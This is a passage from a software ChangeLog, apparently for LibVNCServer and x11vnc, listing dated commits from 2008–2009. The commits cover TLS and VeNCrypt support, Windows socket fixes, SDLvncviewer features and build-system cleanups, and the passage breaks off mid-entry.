function multiple times so that it's possible to do sth. else + in between, e.g. abort listening. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-10-21 Christian Beier + + * client_examples/SDLvncviewer.c: SDLvncviewer: make listen mode + work _somewhat_. set the port to listen on and really ensure that the window of the + fork()ed instance is closed. works somewhat: it's now actually possible to listen for an incoming + connection and to close it again, but the second connection attempt + fails with 'XIO: fatal IO error 11 (Resource temporarily + unavailable)'. this could relate to the fact that SDL uses threads + internally and we're fork()ing here... Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-10-30 Christian Beier + + * libvncclient/sockets.c: libvncclient: make listenAtTCPPort() work + under windows. Actually, initSockets() has to be called everywhere we possibly use + sockets the first time. Also fix return value of initSockets(). Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-10-30 Alexander Dorokhine + + * libvncclient/rfbproto.c, libvncclient/vncviewer.c, + rfb/rfbclient.h: libvncclient: Add FinishedFrameBufferUpdate + callback When working on a program which searches the display for some image, + one does not want to search again without getting an FB update. Add + a callback to make this possible. + +2009-10-30 Alexander Dorokhine + + * libvncclient/sockets.c: Fix hostname resolution problems under + Windows On Windows, the WSA system needs to be initialized to be able to + look up host names. This patch also changes *addr = 0 to use the constant + INADDR_LOOPBACK instead, which seems to be required on Windows. + +2009-10-17 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, + x11vnc/solid.c, x11vnc/sslhelper.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Workaround for inane + X_ShmAttach incompatibility in Xorg, -solid support in xfce, + showrfbauth option. + +2009-10-08 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: Synchronize ssvnc source, etc. Nearly the 1.0.24 + release... + +2009-10-08 runge + + * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/connections.h, x11vnc/enc.h, x11vnc/help.c, + x11vnc/keyboard.c, x11vnc/options.c, x11vnc/options.h, + x11vnc/params.h, x11vnc/remote.c, x11vnc/remote.h, x11vnc/screen.c, + x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, + x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, + x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, + x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, + x11vnc/xdamage.c, x11vnc/xdamage.h, x11vnc/xevents.c, + x11vnc/xevents.h, x11vnc/xwrappers.c: Huge number of changes, see + x11vnc/ChangeLog + +2009-10-07 runge + + * libvncclient/rfbproto.c: Some broken build environments treat + fprintf(fh, buf) as a fatal error... + +2009-10-07 runge + + * libvncserver/main.c: Some broken build environments treat + fprintf(fh, buf) as a fatal error... + +2009-10-02 Vic Lee + + * libvncclient/rfbproto.c, libvncclient/tls.c, rfb/rfbclient.h, + rfb/rfbproto.h: Add VeNCrypt support in libvncclient Signed-off-by: Vic Lee + +2009-10-02 Christian Beier + + * configure.ac, libvncclient/rfbproto.c, libvncclient/sockets.c, + rfb/rfb.h, vncterm/Makefile.am: mingw32 crosscompile fixes. SOCKET is redefined in winsock2.h so #undef it where winsock2.h is + included. The changes in rfbproto.c circumvent crosscompiler errors + like 'S_IFMT' undeclared ...', the Makefile.am changes avoid + building linux specific stuff for a win32 host target. Also added + configure option to specify sdl-config. Signed-off-by: Christian Beier + Signed-off-by: Johannes Schindelin + +2009-10-02 Johannes Schindelin + + * configure.ac: Fallback to --without-client-tls if GNUTLS could not + be found Signed-off-by: Johannes Schindelin + +2009-10-01 Vic Lee + + * configure.ac, libvncclient/Makefile.am, libvncclient/rfbproto.c, + libvncclient/sockets.c, libvncclient/tls.c, libvncclient/tls.h, + libvncclient/vncviewer.c, rfb/rfbclient.h, rfb/rfbproto.h: Add + anonymous TLS support in libvncclient Signed-off-by: Vic Lee + +2009-10-02 Johannes Schindelin + + * test/encodingstest.c: encodingstest: fix multi-threading issue Signed-off-by: Johannes Schindelin + +2009-10-02 Johannes Schindelin + + * test/encodingstest.c: encodingstest: fix whitespace Signed-off-by: Johannes Schindelin + +2009-10-02 Johannes Schindelin + + * AUTHORS: Add Christian Beier to the AUTHORS Signed-off-by: Johannes Schindelin + +2009-10-02 Christian Beier + + * libvncclient/rfbproto.c: Fix IsUnixSocket() This is a pure functionality fix: according to its manpage, stat() + returns 0 on success. Checking for a return value of zero fixes + incorrect results of IsUnixSocket(). Signed-off-by: Johannes Schindelin + +2009-09-27 Johannes Schindelin + + * AUTHORS: Add Vic Lee to the author list Signed-off-by: Johannes Schindelin + +2009-09-14 Vic Lee + + * libvncclient/rfbproto.c: Fix bug for logging unsupported security + types Signed-off-by: Vic Lee + +2009-09-14 Vic Lee + + * libvncclient/rfbproto.c: Fix bug for VNC Server version 4 Signed-off-by: Vic Lee + +2009-08-10 runge + + * x11vnc/README, x11vnc/connections.c, x11vnc/enc.h, x11vnc/help.c, + x11vnc/pointer.c, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Improvements + to -unixpw_cmd and -unixpw_nis. Experimental X11VNC_WATCH_DX_DY=1 + for buggy theme menus, see: + http://ubuntuforums.org/showthread.php?t=1223490 + +2009-07-11 runge + + * prepare_x11vnc_dist.sh, x11vnc/README, x11vnc/help.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Setup for x11vnc version + 0.9.9 + +2009-06-19 runge + + * classes/ssl/README, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, x11vnc/README: + Add proxyHost and proxyPort java applet params. + +2009-06-18 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + x11vnc/ChangeLog, x11vnc/README, + x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: classes/ssl: java viewer now handles auth-basic proxy + logins. misc/enhanced_tightvnc_viewer: update ssvnc. + +2009-06-16 Johannes Schindelin + + * libvncclient/vncviewer.c: Fix two issues in rfbGetClient() There was an unnecessary assignment, and an assignment of a string + that was to be free()ed later, so it has to be strdup()ed. Both issues spotted by Roman Held. Signed-off-by: Johannes Schindelin + +2009-06-14 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/screen.c, x11vnc/sslhelper.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: + X11VNC_REFLECT_PASSWORD env. var., warning about compiz, improve + single-port. + +2009-05-22 Stefan Becker + + * libvncclient/vncviewer.c: Add close() to rfbClientCleanup() Signed-off-by: Johannes Schindelin + +2009-05-21 runge + + * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, + x11vnc/help.c, x11vnc/keyboard.c, x11vnc/misc/turbovnc/convert, + x11vnc/options.c, x11vnc/options.h, x11vnc/rates.c, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/util.c, x11vnc/util.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, + x11vnc/xrecord.c, x11vnc/xwrappers.c: Thread safety. Fix -clip -in + -rawfb. Try to avoid Xorg stuck key bug. + +2009-05-21 runge + + * ChangeLog, configure.ac, libvncserver/main.c, + libvncserver/rfbserver.c, libvncserver/tight.c, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, + libvncserver/zlib.c, libvncserver/zrle.c, + libvncserver/zrleencodetemplate.c, rfb/rfb.h: Thread safety for + zrle, zlib, tight. Proposed tight security type fix for debian bug + 517422. + +2009-05-20 llyzs + + * rfb/rfbclient.h: Export the functions SupportsClient2Server and + SupportsServer2Client These are useful functions for VNC clients, so let's export them for + everybody to use. Signed-off-by: Johannes Schindelin + +2009-05-12 Johannes Schindelin + + * AUTHORS: Add Ben to the authors Signed-off-by: Johannes Schindelin + +2009-05-12 Johannes Schindelin + + * autogen.sh: Make autogen.sh executable Signed-off-by: Johannes Schindelin + +2009-05-12 Ben Klopfenstein + + * libvncclient/rfbproto.c, libvncclient/sockets.c, rfb/rfbclient.h: + libvncclient: Unix sockets support by Ben Klopfenstein Signed-off-by: Johannes Schindelin + +2009-03-31 runge + + * x11vnc/README, x11vnc/connections.c, x11vnc/connections.h, + x11vnc/screen.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c: rebuild for x11vnc dev 0.9.8 + +2009-03-31 runge + + * prepare_x11vnc_dist.sh: x11vnc 0.9.8 dev + +2009-03-30 Johannes Schindelin + + * success.html: Add LCD4Linux to the success stories Signed-off-by: Johannes Schindelin + +2009-03-16 runge + + * x11vnc/README, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: Add some -remap tricks. Limit rfbCFD message + count. + +2009-03-14 runge + + * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/README, + x11vnc/allowed_input_t.h, x11vnc/avahi.c, x11vnc/avahi.h, + x11vnc/blackout_t.h, x11vnc/cleanup.c, x11vnc/cleanup.h, + x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, + x11vnc/cursor.h, x11vnc/enc.h, x11vnc/enums.h, x11vnc/gui.c, + x11vnc/gui.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, + x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, + x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/macosx.c, + x11vnc/macosx.h, x11vnc/macosxCG.c, x11vnc/macosxCG.h, + x11vnc/macosxCGP.c, x11vnc/macosxCGP.h, x11vnc/macosxCGS.c, + x11vnc/macosxCGS.h, x11vnc/misc/LICENSE, + x11vnc/misc/turbovnc/Makefile.am, x11vnc/misc/turbovnc/README, + x11vnc/misc/turbovnc/apply_turbovnc, x11vnc/misc/turbovnc/convert, + x11vnc/misc/turbovnc/convert_rfbserver, + x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/options.c, + x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pm.h, + x11vnc/pointer.c, x11vnc/pointer.h, x11vnc/rates.c, x11vnc/rates.h, + x11vnc/remote.c, x11vnc/remote.h, x11vnc/scan.c, x11vnc/scan.h, + x11vnc/screen.c, x11vnc/screen.h, x11vnc/scrollevent_t.h, + x11vnc/selection.c, x11vnc/selection.h, x11vnc/solid.c, + x11vnc/solid.h, x11vnc/sslcmds.c, x11vnc/sslcmds.h, + x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/ssltools.h, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/uinput.c, + x11vnc/uinput.h, x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, + x11vnc/user.h, x11vnc/userinput.c, x11vnc/userinput.h, + x11vnc/util.c, x11vnc/util.h, x11vnc/v4l.c, x11vnc/v4l.h, + x11vnc/win_utils.c, x11vnc/win_utils.h, x11vnc/winattr_t.h, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, + x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xdamage.h, + x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xinerama.c, + x11vnc/xinerama.h, x11vnc/xkb_bell.c, x11vnc/xkb_bell.h, + x11vnc/xrandr.c, x11vnc/xrandr.h, x11vnc/xrecord.c, + x11vnc/xrecord.h, x11vnc/xwrappers.c, x11vnc/xwrappers.h: Insert + x11vnc copyright and license notices. + +2009-03-14 runge + + * x11vnc/README: Test git commit setting username & etc. + +2009-03-14 Karl J. Runge + + * x11vnc/README, x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, + x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Tweak settings and docs for + create_display. Add FD_EXTRA finishing cmd. + +2009-03-13 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c, + x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: x11vnc: Fix off-screen bug for -ncache_cr + copyrect. + +2009-03-12 dscho + + * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer + about scroll wheel events Signed-off-by: Johannes Schindelin + +2009-03-12 dscho + + * client_examples/SDLvncviewer.c: SDLvncviewer: fix passing a wrong + pointer type Signed-off-by: Johannes Schindelin + +2009-03-08 dscho + + * ChangeLog, client_examples/Makefile.am, + client_examples/SDLvncviewer.c, client_examples/scrap.c, + client_examples/scrap.h: Clipboard support for SDLvncviewer The clipboard support has only been tested on Linux so far. Signed-off-by: Johannes Schindelin + +2009-03-07 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/misc/turbovnc/Makefile.am, + x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, + x11vnc/misc/turbovnc/convert, + x11vnc/misc/turbovnc/convert_rfbserver, + x11vnc/misc/turbovnc/undo_turbovnc, x11vnc/scan.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c, + x11vnc/user.h, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: Allow range + for X11VNC_SKIP_DISPLAY, document grab Xserver issue. Add + progress_client() to proceed more quickly thru handshake. + Improvements to turbovnc hack. + +2009-03-07 dscho + + * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: + upon focus loss, force releasing the Alt keys When switching windows using the Alt+Tab shortcut, SDLvncviewer + would get the "down" event, but not the "up" event. This patch + provides a workaround. Signed-off-by: Johannes Schindelin + +2009-03-07 dscho + + * client_examples/SDLvncviewer.c: SDLvncviewer: refactor event + handling Instead of having deep indent levels, put the code to handle events + into its own function. That also helps readability. Signed-off-by: Johannes Schindelin + +2009-03-07 dscho + + * TODO: Update SDLvncviewer TODOs Signed-off-by: Johannes Schindelin + +2009-03-07 dscho + + * ChangeLog, client_examples/SDLvncviewer.c: Teach SDLvncviewer to + be resizable Using "SDLvncviewer -resizable", you make the window resizable. + This means that you can shrink the window (e.g. when you are trying + to access an x11vnc from your little netbook), or you can enlarge + it. Signed-off-by: Johannes Schindelin + +2009-03-06 dscho + + * ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: + enable key repeat Signed-off-by: Johannes Schindelin + +2009-02-28 runge + + * configure.ac, x11vnc/ChangeLog, x11vnc/README, + x11vnc/misc/Makefile.am, x11vnc/misc/turbovnc/Makefile.am, + x11vnc/misc/turbovnc/README, x11vnc/misc/turbovnc/apply_turbovnc, + x11vnc/misc/turbovnc/convert, x11vnc/misc/turbovnc/tight.c, + x11vnc/misc/turbovnc/turbojpeg.h, + x11vnc/misc/turbovnc/undo_turbovnc: x11vnc: add kludge to experiment + with turbovnc. + +2009-02-26 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/remote.c, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, + x11vnc/x11vnc_defs.c: x11vnc: fix some -QD cases for use in + tkx11vnc. + +2009-02-22 runge + + * x11vnc/README, x11vnc/avahi.c, x11vnc/enc.h, x11vnc/selection.c: + fix some compiler warnings. + +2009-02-22 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: add -noskip_lockkeys option + for future use. + +2009-02-04 runge + + * classes/ssl/README, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/remote.c, + x11vnc/screen.c, x11vnc/selection.c, x11vnc/sslhelper.c, + x11vnc/ssltools.h, x11vnc/unixpw.c, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: Add "sendbell" + remote cmd. Fix copyrect updates under -reflect. Workaround that + checks valid window of selection requestor. Wait on some ssl helper + pids earlier. Workaround XAUTHLOCALHOSTNAME for some new usage + modes. Set fake fb to requested bpp with correct masks. -padgeom + once:... mode. Set LIBXCB_ALLOW_SLOPPY_LOCK by default. + rfbRandomBytes earlier. classes/ssl: Update jars. Add "TOP_" + dropdown customization to ultravnc java viewer applet FTP panel. + +2009-02-03 dscho + + * test/Makefile.am: test/Makefile: use check_PROGRAMS Rather than use noinst_PROGRAMS, check_PROGRAMS will define programs + that are only compiled when someone actually runs `make check`. Signed-off-by: Mike Frysinger Signed-off-by: + Johannes Schindelin + +2009-02-03 dscho + + * ChangeLog: Record Mike's automake cleanups Signed-off-by: Johannes Schindelin + +2009-02-03 dscho + + * Makefile.am, client_examples/Makefile.am, configure.ac, + contrib/Makefile.am, examples/Makefile.am, + libvncclient/Makefile.am, libvncserver/Makefile.am, + test/Makefile.am, vncterm/Makefile.am, x11vnc/Makefile.am: clean up + build flags The flag handling (both compiler options and include paths) are a + mess at the moment. There is no point in forcing "-O2 -g" when + these are already the defaults, and if someone changes the defaults, + chances are good they don't want you clobbering their choices. The -Wall flag should be handled in configure and thrown into CFLAGS + once rather than every Makefile.am. Plus, this way we can control + which compilers the flag actually gets used with. Finally, the INCLUDES variable is for -I paths, not AM_CFLAGS. Nor + should it contain -I. as this is already in the default includes + setup. Signed-off-by: Mike Frysinger Signed-off-by: + Johannes Schindelin + +2009-02-03 dscho + + * configure.ac: configure: use _cv_ in cache var name Newer autoconf fails if _cv_ is not in the cache var name. Signed-off-by: Mike Frysinger Signed-off-by: + Johannes Schindelin + +2009-02-03 dscho + + * configure.ac: configure: use AM_PROG_CC_C_O Newer automakes error out due to per-file CFLAGS being used unless + the macro AM_PROG_CC_C_O is set in configure.ac. [jes: The macro AM_PROG_CC_C_O has been around since 1999, so it + should be safe.] Signed-off-by: Mike Frysinger Signed-off-by: + Johannes Schindelin + +2009-02-03 dscho + + * autogen.sh: autogen.sh: run with set -e If any autotool command fails, we want to abort, not keep running. + Otherwise, errors in say a Makefile.am will be missed as the + automake failure gets ignored and then lost in the noise. Signed-off-by: Mike Frysinger Signed-off-by: + Johannes Schindelin + +2009-01-12 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: SSVNC 1.0.22 release (+ a little bit more). crl lists, + ssh pid finding improvements, and more. + +2009-01-12 runge + + * CMakeLists.txt, ChangeLog, configure.ac: configure.ac, + CMakeLists.txt: set LibVNCServer version to 0.9.7 + +2009-01-12 runge + + * classes/ssl/README, classes/ssl/ss_vncviewer, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + x11vnc/ChangeLog, x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc_defs.c: classes/ssl: Add configurable Ultra java + applet Filexfer Drives drop down (e.g. + ftpDropDown=Home.Desktop.bin). Document all applet parameters in + classes/ssl/README. + +2009-01-11 runge + + * ChangeLog: Forgot ChangeLog + +2009-01-11 runge + + * prepare_x11vnc_dist.sh: prepare_x11vnc_dist.sh: fix SUBDIRS and + DIST_SUBDRIS when using --with-system-libvncserver + +2009-01-10 runge + + * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/screen.c, + x11vnc/selection.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, + x11vnc/xrecord.c: x11vnc: fix failure of -8to24 on default depth 24 + due to nonstandard indexed color support changes. Fix small window + for failure after XSendEvent selection call; add env var. + X11VNC_SENDEVENT_SYNC=1 to take even more care. + +2009-01-04 runge + + * x11vnc/README, x11vnc/avahi.c, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/connections.h, x11vnc/enc.h, + x11vnc/gui.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, + x11vnc/sslhelper.c, x11vnc/x11vnc.c, x11vnc/xwrappers.c: x11vnc: fix + compiler warnings. + +2009-01-04 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, + x11vnc/connections.c, x11vnc/help.c, x11vnc/linuxfb.c, + x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/sslhelper.c, x11vnc/v4l.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xwrappers.c: x11vnc: + add -rmflag option, -rawfb vt support, bpp < 8 support for rawfb, + find /dev/video better. Fix reverse SSL connection for DH. Some + improvements for CUPS TS helper, restart if needed. + +2009-01-04 runge + + * configure.ac, prepare_x11vnc_dist.sh: configure.ac: add include + file file for libXrandr on Solaris. prepare_x11vnc_dist.sh: set + version to 0.9.7 + +2008-12-10 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, + x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, + x11vnc/remote.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/util.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: 0.9.6 release. Some + strtok bugfixes. rename -tlsvnc to -anontls. Disable ssl caching. + No cert creation prompting in inetd or bg modes. waitpid a bit more + carefully on ssl helpers. Tune ssl initial timeouts. Let -create + user specify starting X display. fix -rfbport prompt gui for older + tk. -sslonly option. Error if no -ssl with related options. -rand + option. -ssl implies -ssl SAVE + +2008-11-22 runge + + * classes/ssl/ss_vncviewer: Update ss_vncviewer... + +2008-11-22 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvnc.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/stunnel-maxconn.pa + tch, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch, x11vnc/misc/enhanced_tightvnc_viewer/ssvnc.desktop: SSVNC + sync: stunnel upgrade and patch, change wish order, -anondh -ciphers + option VeNCrypt and TLSVNC support (in pproxy and unix vncviewer). + Help text tweaks -killstunnel, s_client fixes, No Encryption easier. + Zeroconf/avahi support. tk font fixes. SSVNC_ULTRA_FTP_JAR finding + SSVNC_PREDIGESTED_HANDSHAKE SSVNC_SKIP_RFB_PROTOCOL_VERSION, + SSVNC_SET_SECURITY_TYPE, etc hacks. + +2008-11-22 runge + + * x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, + x11vnc/avahi.c, x11vnc/cleanup.c, x11vnc/connections.c, + x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, + x11vnc/params.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, + x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, + x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, + x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/userinput.c, + x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.desktop, + x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, + x11vnc/xdamage.h, x11vnc/xevents.c, x11vnc/xrecord.c, + x11vnc/xrecord.h, x11vnc/xwrappers.c: x11vnc: x11vnc.desktop file. + -reopen, -dhparams, -sslCRL, -setdefer options. -rfbport PROMPT + VeNCrypt and TLSVNC SSL/TLS encryption support. Tweaks to + choose_delay() algorithm. -ssl ANON anonymouse Diffie-Hellman mode. + Fix bugs in certs management. Additions to tray=setpass naive user + mode. + +2008-11-05 runge + + * x11vnc/ChangeLog, x11vnc/README, x11vnc/avahi.c, + x11vnc/cleanup.c, x11vnc/cleanup.h, x11vnc/help.c, + x11vnc/macosxCG.c, x11vnc/rates.c, x11vnc/remote.c, + x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslhelper.c, + x11vnc/ssltools.h, x11vnc/userinput.c, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, + x11vnc/xevents.c: x11vnc: add zeroconf external helpers + (avahi-publish and dns-sd). Alias -zeroconf. Close pipeinput_fh on + exit. Kludge to make -solid work on MacOSX console. Attempt at cpp + macros to disable newer libvncserver interfaces. + +2008-11-05 runge + + * configure.ac: Tweak messages. Add shmat for --without-x building. + +2008-10-30 runge + + * x11vnc/misc/enhanced_tightvnc_viewer/README, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: synchronize ssvnc + +2008-10-29 runge + + * prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, + x11vnc/help.c, x11vnc/nox11.h, x11vnc/remote.c, x11vnc/screen.c, + x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1, + x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: + -http_oneport for single port HTTP and VNC. Improve find_display wrt + lsof blocking with -b. + +2008-10-19 runge + + * + x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc + viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc, + x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer, + x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl, + x11vnc/misc/enhanced_tightvnc_viewer/build.unix, + x11vnc/misc/enhanced_tightvnc_viewer/man/man1/ssvncviewer.1, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle, + x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu + ll.patch: Sync SSVNC changes: fullscreen fixes, local scaling, + -chatonly, iso-8859-1/utf8 etc., etc. + +2008-10-19 runge + + * classes/ssl/ss_vncviewer, + classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Update ssl VNC + viewer jars and patch file. + +2008-10-19 runge + + * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, + x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, + x11vnc/cursor.c, x11vnc/enc.h, x11vnc/help.c, x11vnc/keyboard.c, + x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, + x11vnc/remote.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/screen.c, + x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c, + x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/user.c, + x11vnc/userinput.c, x11vnc/x11vnc.1, 